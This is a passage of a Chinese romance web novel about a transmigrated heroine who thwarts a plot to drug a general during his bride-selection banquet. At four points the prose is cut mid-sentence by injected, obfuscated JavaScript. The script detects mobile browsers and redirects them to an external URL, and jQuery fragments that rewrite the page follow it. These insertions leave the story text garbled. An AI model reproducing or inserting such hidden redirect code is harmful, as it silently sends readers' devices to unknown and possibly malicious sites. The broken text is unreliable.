甜橙面露难色,好心提醒:“小姐,你不喜奴婢跟着,奴婢便不跟,可是,明日一早便是花园会,真的不用准备准备吗?”
花园会就是选妻宴的第一轮,所有参加者介绍身份,表演才艺,类似初舞台。
真怀疑风慕予这选妻宴的流程是参考了女团选秀。
榴花院的西面正传出琴声,北面传出歌声。
院子正中,一个窈窕的身影正翩翩起舞,都在抓紧时间练着。
只有陈念念一心想着出门闲逛。
才艺什么的,她显然没想准备。
她的目的是调查风慕予,不是真的要竞争当将军夫人。
不过,不能对甜橙说实话,她指了指隔壁:“你别担心,我就是出去消消食,你看看旁边的第一美人,不也不在房里吗。”
出了榴花院,陈念念径直向着风慕予所在的乘风院而去。
虽然过了八年,将军府有了翻天覆地的变化,光占地面积就扩大了几倍,新添了很多杂七杂八的院子,但风慕予依旧住在乘风院。
那个小院子,她熟得很。
去乘风院有条鲜为人知的小路,隐藏在树林之中,不易被人察觉。
陈念念凭着记忆找到树林,却意外看见了一个熟悉的身影。
可不就是不在房里的京城第一美人?
陈娉婷鬼鬼祟祟地走着,远不似白日里张扬,生怕别人发现。
穿过一处拱门,走进乘风院,她躲到一处假山后。
很快,一个丫鬟模样的人也走进假山后,低声和她商议着什么。
看这架势,摆明要搞事情!
陈念念蹑手蹑脚地靠近假山,凭借卓越的听力,将她们说的内容听得一清二楚。
原本吃瓜的神情,变得凝重了许多。
她们密谋的内容大概是,今晚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446665|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
太子留宿将军府,风慕予将侍卫都遣去保护太子,乘风院中只他一人,等到他独自回到房中,会有人在他的熏香里混入迷香,让他陷入半昏迷,陈娉婷趁机潜入房间,喂他喝下合、欢、散,然后,生米煮成熟饭,直接上位,什么选妻宴都省了。
啧啧啧,不愧是小说世界!
选妻宴还没开始就来下、药这么狗血的戏码!
陈娉婷从丫鬟手中拿过一个药包和一个酒壶,走到假山更里边,应是要等到合适的时机。
丫鬟出了假山,急匆匆向着乘风院外走去。
我直觉事情没那么简单,下意识跟上。
丫鬟一路瞻前顾后,快步走到了刚刚的树林深处。
“小姐,都安排好了,那个傻瓜第一美人一听我们的计划想都没想就答应了,等到赤影将军合欢散发作,小姐便带人前去营救将军,抓了那傻瓜,顺势和将军成就好事……”
树影之后,一黑纱蒙面女子等候多时。
“很好,到时我只道是将军中了药,强迫于我,不但不会遭到将军的责怪,还能让将军心生愧疚,将军夫人的位置我坐定了!”
陈念念不由为她们点赞。
了不得,竟然还是一招螳螂捕蝉黄雀在后,狗血之后还有一盆更大的狗血!
可惜,都被她听见了。
吃那种药伤身,她可不想自己辛苦养大的乖孩子经历这档子糟心事。
天色越来越暗,路旁的灯火稀疏微弱。
陈念念赶到风慕予房间外时,他房内还点着灯。
昏黄的灯光透过窗户纸照亮房外的景物,和八年前没有太大的变化。
不过,房间后原本有三颗桃树,是她亲手栽下,且一直精心料理,春来桃花满枝,桃子也好吃,如今,已成一片空地。
房间四周确实一个侍卫也无,甚至连个听候吩咐的丫鬟都没有。
从窗户的缝隙往里望,可以看见风慕予坐在桌前。
似乎已中了迷香,闭着眼睛,一动不动地趴在桌上。
陈念念轻车熟路翻进窗内,用衣袖捂住口鼻,正要靠近风慕予,忽听见脚步声,下意识躲到桌子下。
“将军,你在吗?”
“听闻将军在房内独酌,小女子可以和将军共饮一杯吗?”
陈娉婷说着迫不及待地推开房门,忐忑又期待地走到风慕予身旁。
她手中拿着一个酒壶,想必已经下好了合、欢、散,见风慕予面前放着一个盛满酒的杯子,又拿起一个空杯倒上自己带来的酒。
陈念念听着倒酒的声音,随手从袖子里摸出一个物什扔到另一面的窗边。
陈娉婷本就慌乱,听见异常的声响,立刻转头查看。
陈念念趁机探出身,调换两个酒杯的位置,又躲回桌子下。
陈娉婷收回目光,定了定神,拿起酒杯喂给了风慕予。
静静等待了片刻,风慕予的睫毛轻轻颤了颤,眼睛似是要睁开,白皙的面上渐渐泛起潮红,口中低喃着什么,烦躁地伸手拉扯自己的领口。
按照书中设定,合、欢、散极其霸道,即使风慕予恢复意识,也会抵挡不住心中欲、念。
陈娉婷面上一喜,二话不说扶起风慕予往床上去。
眼看着风慕予的外衣快被陈娉婷扒光了,陈念念急忙上前给了陈娉婷一手刀。
将晕倒的陈娉婷放在地上,她起身,尚未站直,忽觉腰上一紧。
一双强而有力的手自背后抱住了她。
5. 梦吻
不用猜,抱住陈念念的必是风慕予。
他明明已恢复了力气,却故意将整个身体的重量都懒懒地压在她身上,整张脸埋在她的颈窝,有一下没一下地对着我她的脖子吹气。
陈念念感觉有些痒,拍了拍他的手,希望他能够知趣放开,却觉他反将双手越收越紧。
他手上的皮肤滚烫灼人,仿佛被火烤过。
“别装了!一副中了药的样子是要闹哪样?赶紧的,放开我!”
陈念念皱了皱眉,抓着他的手将他稍稍推开一些,缓缓转过身面对他。
风慕予的脸转眼已是一片通红,甚至蔓延到了耳后,蔓延到了脖颈,如酒醉般眯着眼,眼神迷离,漆黑的眼底藏着呼之欲出的异色。
全然没有白日里淡漠疏离的模样。
竟然真的中了药?
想不通哪里出了问题,又推不开他,陈念念只好扶着他往房间外走。
树林中那黑纱蒙面的女子随时可能带人破门而入,她可不想成为那个被捉奸在床的螳螂。
必须先离开这个是非之地。
风慕予比陈念念高大,也比她重得多,她每一步都走得很是吃力。
到了房间外,看了看通往乘风院正门的小径,她心中不安更甚。
“坑货,有解药吗?”
系统:【万用解毒丹50积分。】
【剩余22积分的你,买不起。】
“怎么不去抢?”
陈念念怒斥系统,别无他法,只得拖着风慕予向东面的小湖而去。
把他扔进冷水里清醒清醒,也算是个主意吧。
然而,还没到湖里她就累得倒在草坪上,还正好摔在风慕予身上。
一时间,只觉脸疼,肩膀疼,手也疼。
他身上的肉也太硬了,尤其是胸,看来平时没少练。
陈念念下意识用手撑在他的胸口,想要借力起身。
然而,没有成功。
风慕予拉住了陈念念,一翻身反将她压在身下。
声音很轻:“你又来我的梦里了。”
“你说什么?咬字清晰点!”
陈念念推了推他,推不开。
今夜没有月光,漆黑的夜空下,风慕予的脸离得她很近,眸光仍旧是迷离的,藏在眼底的几缕异色,此刻已明目张胆地跑出了他的眼睛。
他抬手轻轻抚过她的额头、她的侧脸、她的下巴,顺着她脖颈的曲线游离到肩头……仿佛在抚摸着什么失而复得的宝物。
风声和水声几不可闻,虫鸣声也消失无踪。
湖边只剩下他的声音,低沉沙哑。
“你究竟是谁?”
“你去了哪里,你这个骗子!”
“既然要离开,为什么对我……”
……
原来他是有喜怒的,只是藏得很深,不愿与人知。
这话里又悲又怨,虐恋情深的,说的应当不是她。
却不知,是将她误认作了谁?
“知道吗,我恨你!”
最后,风慕予咬牙嘶吼。
面上狠厉,眼底却透着无边的落寞。
“你”字尾音刚落,他忽低下头,吻在了陈念念的唇上。
他吻得生涩又霸道,攻城略地,肆无忌惮,不给任何拒绝和逃脱的机会。
陈念念顿时气得涨红了脸,推他打他踢他,却没能让他有任何退让。
好不容易找到喘息的机会,她毫不留情地咬了他一口。
血腥味在嘴里瞬间漫开。
风慕予吃痛,似是意识到了什么,抬起头愣愣地看陈念念。
但眼中暗流涌动,仍没有放开她的意思。
大逆不道!
以下犯上!
衣冠禽兽!
斯文败类!
平时看着一本正经,原来是个……
陈念念在心里把风慕予来来回回地骂,想让系统拿出40米长刀,最终忍住,选择了一喷即晕。
谁让他是她的攻略目标呢。
她来到这里是为了让他开心快乐,提升他的幸福感,怎么能做伤害他的事。
轻轻一喷,风慕予当即停下动作,无力地倒在陈念念身上。
“还是去水里清醒清醒吧。”
陈念念调整好情绪,抓着他的手,吃力地将他往外推,一口气推入湖中。
却没想到,他的另一只手一直牢牢揽在她腰上,带着她也身子前倾。
“扑通——”
“扑通——”
双双落入了湖中。
春日本就还带着几分凉意,夜晚的湖水更是冷得刺骨。
“咳——”
陈念念喝了几口湖水,咳嗽了两声,不过她水性不错,没一会儿就稳稳浮在了水面上。
想扔下风慕予独自回岸上,又怕他昏迷之中无知无觉地沉入湖底,只得陪着他泡着。
风慕予的身体明明是冰冷的,额头却渗出细密汗珠,眉头皱了一下又一下。
小说里描述,合欢散不按指定方法解除的话,身体会遭受巨大折磨,看来是真的。
陈念念没办法体会,摇了摇头,生气、同情,又有些幸灾乐祸。
“你不是赤影将军吗?不是一个人挑一个山寨,很厉害吗?怎么这么容易就被人暗算?我是不是警告过你不要喝酒?你自己那点酒量你心里没数吗?喝得连中了迷香都不知道!这么没有防备心,怎么活这么大的?”
不知泡了多长时间,陈念念探了探风慕予的额头。
不烫了,想必药效散了许多。
终于将他拖到岸上。
衣服已完全湿透,湖边小风一吹,陈念念冷得直打哆嗦。
风慕予自然也是狼狈极了。
黑色的长袍湿透,皱巴巴地贴在身上,长发披散乱成一团,粘在脸上肩膀上,俊秀的面上满是水珠,连睫毛都被水渍压弯了。
残留的药效让他的呼吸仍有些急促,肌肤上的潮红尚未散去。
对比先前矜贵禁欲的模样,如今真是……
引人犯罪。
幸好她心如止水。
担心风慕予再继续吹凉风会着凉,陈念念急忙拖着他往房间走。
许是那黑纱蒙面的女子发现了异常,并没有按原计划带人到风慕予房中,乘风院里一片寂静,只有风慕予的身体擦过草地的声音。
费了好大劲儿将他放在床上,拿了件干净的衣服准备给他换,扒光了他,陈念念才后知后觉意识到——
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446666|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
现在长大了,不再是小孩子。
而是一个男人。
而且是一个——身材很不错的男人!
陈念念整理好风慕予的衣服,为他盖上被子,眼角余光瞥见晕倒在地的陈娉婷。
她走近踢了她两脚,想了想:“反派关怀分部的宗旨一直是不轻易放弃任何一个生命,我这么善良,是不是因为对误入歧途的花季少女伸出援手?”
虽然陈娉婷忘了长脑子,妄图染指风慕予,但不至于因一时恶念就葬送一生。
“而且,毕竟都姓陈,万一她被定罪牵连到我,取消参与资格,就不好了。”
系统:【你?善良?重点是最后一句吧。】
陈念念弯下腰扶起陈娉婷,迅速出了风慕予的房间。
她没好心到将她带回榴花院,而是带到一处隐秘小树林,取了一勺冷水泼在她的脸上。
“啊——谁!”
陈娉婷立时清醒,摸到脸上的水渍,怒道,“大胆!谁敢泼我!”
陈念念环着手站在一旁看她,也不说话。
陈娉婷迅速站起身,看了看四周,又看了看陈念念,语无伦次地说:“是你?你个丑八怪怎么会在这里?我,我怎么会在这里,和你……”
陈念念冷着脸,对她也毫不客气:“嘴巴放干净点。”
顿了顿,意有所指地说,“你自己干了什么蠢事,不知道?”
陈娉婷惊恐:“你发现了什么?你……”
“若我没发现,你此刻已经死了。”
风慕予一旦清醒,会立刻想明白所有事,会将今晚发生的事牵扯到的人查得一清二楚。
陈娉婷本就不是什么有胆识有心计的人,一听陈念念说到“死”,才意识到自己做了多蠢的事,立刻慌了,急道:“怎么办?将军会不会发现……”
“不想死,接下去就听我的。”
陈念念懒得和她废话,直接提出要求,冷冷下达命令,“赶紧的,回榴花院。”
陈念念听见远处有一阵整齐的脚步声,想必是将军府的护卫队,一旦他们发现异样,一定会挨个房间搜查询问。
而不在院中的她们,将会成为首要怀疑对象。
-
甜橙和陈娉婷的丫鬟脆枣正焦急地等在榴花院中。
夜色深沉,已到了入睡时分,她们的小姐却不知去向,她们担心得来回踱步,不知该不该前去通知将军府的护卫。
见陈念念和陈娉婷在院门外出现,她们急忙迎上,异口同声。
“小姐,这是怎么了?怎么全都湿透了?”
“小姐,你这是怎么了?奴婢这就去煮姜茶!”
“没事。”陈念念一面往自己的房间走,一面给了陈娉婷下一步指示,“先去换身衣裳,然后来我房中喝碗姜茶,免得染了风寒。”
两人刚刚在房里捧起姜茶。
将军府的护卫队接踵而至。
敲门声响起:“笃笃笃——”
随后是命令:“护卫队搜查刺客,烦请开门。”
打开门,门外站着十余护卫,来势汹汹。
为首的是一个穿着一身劲装的女子,年轻,英气,直截了当地询问:“两位小姐,今晚是否一直待在房中,可有去过别处?”
6. 猜测
甜橙和脆枣虽是她们的丫鬟,却更是将军府的眼线,自是不会替她们隐瞒,如实回答:“小姐去院外散心,方才归来,奴婢不曾跟随。”
劲装女子闻言,心中自然起了怀疑,绕过甜橙和脆枣走进房,扫了扫陈念念和陈娉婷,语中礼貌,又带着不容拒绝的强势:“在下将军府护卫副统领霜降。敢问两位小姐,今夜去了何处?”
陈娉婷低着头,脸色苍白,捧着姜茶的手不住颤抖。
想起陈念念在路上的交代,她壮着胆子回答:“我与三姐姐初来乍到,颇为紧张,便相约去院外散步谈心,不知不觉走到了一处湖边,天色太暗,三姐姐一个不留神落入了湖中,好在我懂几分水性,很是艰难才将三姐姐救出,不至丧命……因太过惊吓,才回来晚了……”
霜降眯了眯眼,将信将疑,追问:“哪处湖边,竟无人看守?”
陈娉婷刚要接话,立时被她打断,她指了指陈念念,“你来说。”
“阿——嚏!”陈念念的脸色比陈娉婷更要苍白些,整个人惊魂未定,眼中似还含着泪花,断断续续地说:“那个湖是在、是在……我也不知在何处,只记得从院子出门,往左拐,过了花园,有一片竹林,穿过竹林沿着小路一直走,走着走着,我就落入了湖中……”
她既然编的出,自然知道湖的具体位置。
但有些话说的不确定些,反倒更容易让人信服。
霜降顺着陈念念说的一想,确实想到了一处小湖,脸色微不可见地变了变。
那是将军府上的一处废弃之地,地处偏僻,无人打理,无人看守。
陈念念喝了一大口姜茶,害怕,却又壮着胆子补充道,“那盆中便是我与四妹妹换下的湿衣……阿嚏!统领大人可以亲自检查。”
回来前,她让陈娉婷到湖中浸湿了衣衫,和她一样连鞋子里都盛满了水,刚在房中换下,尚未清洗,正是有力证据。
霜降的眼眯得更细,似是还在怀疑着什么,转头看向甜橙。
甜橙冲着霜降点了点头,表示陈念念和陈娉婷说的都属实。
“叨扰了,两位小姐好生休息。”
没有什么理由再继续为难,霜降转身出了房门,“走,下一个。”
看着护卫队通通撤离,陈娉婷暗暗松了一口气。
回来的路上,她想明白了,她定是被有心人利用了,若不是陈念念及时阻止,她即便不死,也已经在将军府的牢中。
趁着甜橙和脆枣为她们准备宵夜的空当,她站起身,对陈念念说,“你今天确实帮了我,但你别指望就此攀上我,让我在选妻宴上帮助你,你这副模样,将军是不可能……”一贯的盛气凌人,想收敛却不习惯,语气明显变得尴尬,“但以后若有人欺负你,尽可找我!”
陈念念只觉好笑:“你还是管好你自己吧。”
陈娉婷就是胸大无脑,加上娇纵过度,但不至于是非不分,懂得感激,不枉她出手相帮。瞧这别扭的小模样,她竟觉得有几分有趣。
送走陈娉婷,陈念念吃了一些甜橙做的点心,然后躺到了床上。
她的脑子有些昏沉,闭上眼睛,却翻来覆去,怎么也睡不着。
她的眼前不受控制地浮现出风慕予的模样,想起他低头望向她时迷蒙又带着几分疯狂的眼神,藏在眼底的那些心事隐忍又躁动。
她下意识用手指碰了碰嘴唇。
他唇上的味道,似乎还残留在她的口中。
说不出是什么样的味道,只是那脸红心跳的感觉,记忆犹新。
是不是应该暴打他一顿?
无论是哪个世界的任务,她总穿成任务目标的妈妈、姐姐、姑姑,甚至奶奶,再不济女儿、孙女也行,她最不爱干的就是和人谈感情。
她从来没有吻过谁,也没有被任何人吻过,直到今晚——
还特么是强吻!
但换个角度一想,她又不确定,说不上是谁更吃亏?
如果他清醒着,看着她现在的脸,绝对是亲不下口的。
翻了个身,她想起他嘶吼的那些话。
难道他这么多年不愿成亲,是因为心里早就住了个白月光?
而这个白月光在很多年以前抛下他走了?
会是谁呢?
记得她还未离开时,风慕予只和三个女子关系较为熟稔。
一个是黎国的三公主,黎凤雪。
黎凤雪是当今皇后的女儿,深得帝后宠爱,性子刁蛮任性,张扬跋扈,从小便很粘风慕予,常常做一些出格事企图引起风慕予的注意。
如今已有十八岁,尚未择婿,一直住在皇宫中。
若风慕予对黎凤雪有意,两情相悦,完全可以找皇帝下旨赐婚,根本不用现在这般苦苦相思,首先排除黎凤雪。
还有一个是神威侯的孙女,唐妙音。
唐妙音的母亲是陈念念的闺蜜,常常带着唐妙音到长公主府聚会,便也常常遇见在长公主府徘徊不去的风慕予。唐妙音活泼开朗,单纯直率,还懂得兵法,擅长骑射,与风慕予很是投缘。
但唐妙音只是短暂地在京城居住了一些时日,因为神威侯领兵回防边关,便跟着离开了,这一点,和风慕予所说是吻合的。
只是,她总觉得风慕予和唐妙音相处得更像一对兄弟。
有没有男女之情,她持保留意见。
最后,是越国的五公主,赵怜儿。
风慕予十五岁那年,黎国曾与越国有过一场恶战,因为风慕予的神勇破敌,越国大败,内乱后分裂为南北两越,南越国希望与黎国交好,送出二皇子赵云凡和五公主赵怜儿到黎京为质。
赵怜儿的生母只是一名宫女,在南越国时便不受宠爱,常常受人欺凌,性子柔弱,温声细语,身子骨更是单薄,仿佛风一吹就会倒下,一双明眸,眸光中总有泪花闪动,楚楚可怜,惹人心疼。
她可怜赵怜儿无辜受难,寄人篱下,常常照拂于她,送她一些日用,将她带在身边游玩,风慕予也时常在赵怜儿受欺负时出手相助。
后来,她诈死离开,听说两年后赵云凡谋划阴谋遭风慕予识破,锒铛下狱,皇帝念在赵怜儿不知情,将她送回南越国,从此音讯全无。
这么一看,风慕予和赵怜儿,青梅竹马,国仇家恨,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446667|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
分隔两地。
有狗血言情剧那味儿了。
却不知赵怜儿,是否就是藏在风慕予心底的那个白月光?
或者,八年间,出了什么她不知道的新角色?
对了,她听说这届选妻宴扩招之后,来了很多邻国的皇亲贵胄,其中就包括燕国和南越国的公主,赵怜儿似乎也在参加名单之上。
明天她得好好留意留意。
-
晨光清浅,微风徐徐,湖面碧波荡漾。
风慕予站在湖边小亭中,望着湖面,回想着昨晚的事。
记忆很模糊,像是做了一个梦。
他隐约捕捉到一个熟悉的身影,嗅到一种熟悉的沁香。
很像她。
但不可能是她。
他很清楚,她已彻底离开他了。
他不自觉地摸了摸嘴唇。
唇角多了一个细小的伤口,昏迷时不小心咬的?
他将手覆在伤口上,一种莫名的旖旎感觉,透过指尖,一下子涌到了他的心里,直觉告诉他,这个伤口没有那么简单。
脚步声由远及近。
护卫上前道:“将军,太子殿下和安王世子来了。”
黎修齐紧跟着护卫走进了亭子,刻意将风慕予上下打量了一番,问:“慕兄,昨晚以身犯险,甚是辛苦,现在可还有不适?”
风慕予转过身,简单说:“无事。”
他和黎修齐的关系一直很亲近,虽是君臣,但两人约定俗成,一些礼数和客套,他懒得废话,黎修齐也懒得回应。
黎景明紧随黎修齐而至,上前拍了拍风慕予的肩膀,意有所指地笑道:“慕哥,我们都知道了,昨晚的刺客不是要取你的命,而是要毁了你清白,你给我们说说呗,一大把年纪了,没什么好害羞的!”
“说正事。”风慕予一如既往地冷着脸,推开黎景明的手,示意他们在亭中石桌旁坐下,自己也跟着落座,仔细谈起昨夜的情形。
昨日,他得知有人谋划暗中行动,便临时调开了乘风院所有护卫,想要让那幕后之人放松警惕,继而现身,可惜安排太过仓促,不够周密,轻易便遭人破坏,未能追查到幕后之人。
他确实中了迷香,但没多久便清醒了,中途偷偷将盛有合欢散的酒杯和原先的酒杯调换了位置,但不知为何,他喝的杯子里仍有合欢散,仍失去了意识。
“你说房间里当时还藏着第三个人?而且是个女子?”黎修齐追问,“是谁这么大胆竟敢在你的眼皮子倒下搞破坏?”
风慕予点头:“护卫队正在追查。”
黎景明惊讶不已,很是关心地凑近风慕予:“慕哥,你说昏迷之后,再醒来已在床上?那……那你到底,失身没有?”
风慕予没理睬黎景明,从袖中拿出一个物什,“你们看这个。”
他当时已感觉到有人自窗户翻入房间,并躲在桌子下,却不知她是何意图,没有贸然出手抓她,后来,在房中寻到了她遗留下的东西。
黎修齐和黎景明低头望向风慕予手中的物什,左看右看,皱了皱眉,同时疑惑道,“这是个什么东西?”
7. 假摔
风慕予手里的物什,是个黑色的小圆球,说不出什么材质,一面是光滑的,另一面有个小孔,轻轻按一下,还会闪烁白色的光芒。
很是稀奇。
风慕予隐约觉得在哪里见过它,仔细回想,却又想不起更多。
“世界之大,你我不知晓的事物尚有许多。”黎修齐见过奇珍异宝无数,却从没见过这样的黑色小圆球,断定此物什非黎国所出,猜测道,“若此物是潜入慕兄房间的人留下,那她很可能是个异邦女子。”
黎景明点了点头,问:“护卫队不是抓了个私藏药物的丫鬟吗?”
风慕予说:“未及审讯,人已服毒自尽。”
“一个小丫鬟,本也审不出什么线索。如今将军府中,这样的细作定然还藏着许多。”黎修齐的神色渐渐变得凝重,眼中多了锋芒,“不过无碍,我们的时间还有很多,慢慢的,将他们一个个揪出来就是。”
他是选妻宴的总策划。
但他策划的,是一场请君入瓮的好戏。
“都说你是我黎国的战神,黎国子民的底气,那些牛鬼蛇神一天天地总想对你不利,我便给他们这个机会,让他们有来无回!”
风慕予将黑色小圆球收回袖中:“倒也并非全无线索。”
“好了,别在我面前聊得这么复杂!”黎景明笑了笑,打破严肃的氛围,率先起身,“走走走,花园会开始了,我们赶紧看美人儿去。”
风慕予一听黎景明提起美人,脑中立时浮现出了陈念念的样子,不由皱了皱眉,眼中闪过一点微不可见的愁绪。
那张脸明明跟美一点也不沾边,可他偏偏,只记得起她。
真算不上什么好事。
-
“阿——嚏!”
陈念念不幸感冒了。
但花园会必须得准时参加,扶着昏昏沉沉的额头从床上爬起,胡乱地打扮了一番,她在甜橙的指引下,到达了将军府的百花园。
百花园颇大,万紫千红,春意盎然。
园中整整齐齐摆好了桌椅,所有参加者只需对号入座。
陈念念编号较为末尾,座位也在较为角落的地方。
挺好,正适合她暗中观察。
一个约莫三十出头的女管事负责主持花园会,噼里啪啦说了一堆开场白,便开始请所有参加者按顺序上前。
最先出面的,是当今丞相的嫡女,柳倾眉。
柳倾眉知书达理,文采斐然,被誉为京城第一才女,长相也颇为清秀,笑起来有两个酒窝,小家碧玉,分外甜美。
柳倾眉在上头现场作诗。
底下响起细细碎碎的议论声。
“听说,柳丞相曾多次向皇上谏言收回将军手上的兵权,被皇上拒绝后,气得吹胡子瞪眼,是将军在朝堂上的死敌……”
“柳家自来不喜欢和将军府沾上一点关系,不知道这次怎么想的,竟将最宝贝的女儿送来了!”
……
陈念念认真听着,从袖中拿出一本小本子,记下要点。
柳倾眉,8分,才女,爹是头号黑粉。
随后出场的,是陈娉婷。
她今日打扮得更是用心,京城最新流行的微醺妆容,配上最新流行的粉紫色千层抹胸长裙,整个人张扬艳丽,隐隐带着几分勾人的妩媚。
长袖乍开,一曲歌舞,颇为精彩。
陈念念提笔写下。
陈娉婷,0分。
虽然都是美女比拼,都要展现才艺,但选妻宴和选青楼花魁有本质的不同。
只能说,脑子是个好东西,可惜陈娉婷真的没有。
后面出场的,也都各有优势。
貌美如花,才艺出众,那是标配。
但陈念念正用“给儿子挑媳妇”的苛刻眼光要求她们,多少有些不满意,单手撑在桌上,托着下巴,看着看着,无趣得快要睡着。
眼睛正要耷拉上,耳边忽爆发出一阵震耳欲聋的惊呼声。
她下意识抬眼去看,见花园正中有一红衣女子,正挥舞长剑。
一袭红衣似火,热烈却不灼人。
一柄长剑如风,英气却不含一点戾气。
翻身,跳跃,出剑,动作流畅自然,一气呵成,仿佛可以从她的剑舞中想象到她驾驭着骏马奔驰在广袤草原上的潇洒恣意。
她的模样也是极好的,妆容不算浓艳,远山眉,朱唇一点,双眸含笑,顾盼间,璀璨明艳,猝不及防地一眨眼,勾得人心花怒放。
厉害了,竟然还懂wink!
听了听耳边的议论声,她很快得知红衣女子的身份,恍然大悟。
燕国二公主燕梦瑶。
她曾在说书先生口中多次听到这个名字。
传闻中,她一出生便得彩云来贺,被视为整个燕国的福祉,越长大越出落得沉鱼落雁,更是琴棋书画样样精通,刀枪剑戟不在话下。
是本届选妻宴的最大热门之一。
如果满分是10分的话,燕梦瑶便是当之无愧的10分。
燕梦瑶停下动作,面上始终保持着浅浅的笑意,眸光不动声色地在席间扫过,不错过任何角落,没有发现风慕予的身影,稍稍有些失望,利落地收了剑,转身准备回自己的座位。
女管事将名册翻页,看了看,说,“下面是最后一位,陈念念。”
陈念念还在期待着赵怜儿出场,忽听到自己的名字,愣了愣,确定没听错,急忙扔掉才咬了一口的糕点,拍了拍手上的碎屑。
“阿——嚏!”喷嚏总是控制不住地一个接一个,她难受得厉害,顾不上什么形象,用帕子擦了擦鼻子上的鼻涕,慢悠悠地起身。
参加者多是京中贵女,平日里这个寿宴那个婚宴今天诗会明天赏花会的,基本都打过照面,忽听见一个完全陌生的名字,不由好奇,四处寻找,结果在角落里找到了相貌丑陋、举止粗俗的陈念念。
全场不可避免地爆发出了一阵嘲笑声。
“这是哪家送来滥竽充数的?不会是个丫鬟冒充的吧?”
“姐姐说什么胡话呢?谁家府上能用这么难看的丫鬟?”
“我若是长得这么丑,哪好意思出来见人?竟还妄图嫁给赤影将军?怎么不一头撞死,争取早点投个新胎?”
“人贵有自知之明,丑八怪就不应该出来吓人!”
……
肤浅。
陈念念在心里不屑道。
她虽爱美,对自己生得丑并不欢喜。
但从不觉得生得丑是什么罪过,能任他人肆意羞辱。
她站在花园正中,扫视四下,眸光所到之处,仿佛春去冬来,异常森冷。她不断告诫自己,忍住忍住,不能开怼,更不能启动道具。
这是风慕予的选妻宴,事关他的幸福,千万不能砸了他的场子。
燕梦瑶本已找到自己的座位,却忽折返到陈念念的身边,意有所指地说:“相貌是爹娘赋予的,无论好坏,我们自己并没有做任何努力。修养才是我们后天努力习得的,好坏都属于自己。因容貌嘲笑他人,不过显得自己没有修养,内心粗鄙……”
此言一出,底下自然有人对号入座。
有人羞愧得涨红了脸。
有人却还不知错,反而怒道:“虚伪!”
“啪啪啪……”
响亮的鼓掌声在花园的另一端响起,黎修齐自花丛中央的小径走出,笑着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446668|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赞赏道,“燕三公主才貌出众,眼界开阔,百闻不如一见。”
陈念念看了看黎修齐,忽觉得她不在的八年,定然发生了很多事。
她这个只知道吃的大胖侄子,竟也长得一表人才了!记得少时他最嫉妒风慕予,总喜欢和风慕予作对,如今却成了风慕予的至交好友。
风慕予和黎景明也跟着黎修齐自小径中走出。
显然他们三人一直都在旁边看着花园中的一切,只是方才现身。
陈念念的目光一触到风慕予,立时再也看不见其他人。
注意力牢牢锁在他的身上,哪怕他穿得远没有黎修齐华丽,哪怕他拼命收敛着自己的气息,但还是一出现,就让周遭的一切都黯然失色。
他照例是一身黑衣,简单到没有任何的配饰,平视前方,面色如常,冷漠疏离的模样,就差在身前举个“生人勿进”的牌子。
看起来挺正常,应该没有感冒,也没有受到残存药力的影响。
她稍稍放心了些。
“太子殿下谬赞。”燕梦瑶行了个礼,宠辱不惊,不卑不亢,回答着黎修齐,眸光却不自觉地飘到风慕予的身上,观察着他的反应。
陈念念站在一旁,了然地勾了勾嘴角。
不得不说,皇家公主,段位就是要比普通人高。
选妻宴的评判者,从来不是底下的任何一张嘴,而是风慕予,以及在风慕予面前有话语权的“狐朋狗友”,前面表演的再多,都不如燕梦瑶一句话,瞬间提高了在黎修齐心中的印象分,对往后大有裨益。
风慕予静静站着,没有说话。
明明是特地为他举办的选妻宴,他却似乎对此毫不关心。
燕梦瑶见风慕予不理她,只得主动出击,上前一步,莞尔一笑:“听闻将军剑术超群,梦瑶亦醉心剑术,今日可否与将军切磋一番?”
风慕予像是没有听见,仍没有说话。
“将军莫不是看不起梦瑶?”燕梦瑶昂着头,举起手中长剑,横在胸前,直直望向风慕予,即便遭到了无视,自己的气势也不减分毫。
陈念念不禁要给燕梦瑶点个赞。
